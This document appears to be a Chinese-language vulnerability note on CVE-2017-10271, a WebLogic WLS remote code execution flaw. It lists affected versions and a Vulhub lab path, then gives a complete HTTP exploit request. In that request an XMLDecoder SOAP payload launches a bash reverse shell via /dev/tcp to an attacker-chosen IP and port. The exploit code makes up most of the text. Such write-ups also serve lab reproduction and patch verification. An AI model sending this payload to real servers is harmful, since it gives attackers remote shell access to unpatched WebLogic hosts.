CVE-2017-10271-RCE

0x01 漏洞概述

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。

0X02 漏洞版本

  1. 10.3.6.0.0
  2. 12.1.3.0.0
  3. 12.2.1.1.0
  4. 12.2.1.2.0

0x03 漏洞复现

  1. /Vulhub/weblogic/CVE-2017-10271

POC

  1. http://IP:port/wls-wsat/CoordinatorPortType11

CVE-2017-10271-RCE - 图1

EXP

  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Host: 192.168.0.140:7001
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: text/xml
  9. Content-Length: 637
  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
  11. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  12. <java version="1.4.0" class="java.beans.XMLDecoder">
  13. <void class="java.lang.ProcessBuilder">
  14. <array class="java.lang.String" length="3">
  15. <void index="0">
  16. <string>/bin/bash</string>
  17. </void>
  18. <void index="1">
  19. <string>-c</string>
  20. </void>
  21. <void index="2">
  22. <string>bash -i &gt;&amp; /dev/tcp/IP/port 0&gt;&amp;1</string>
  23. </void>
  24. </array>
  25. <void method="start"/></void>
  26. </java>
  27. </work:WorkContext>
  28. </soapenv:Header>
  29. <soapenv:Body/>
  30. </soapenv:Envelope>

CVE-2017-10271-RCE - 图2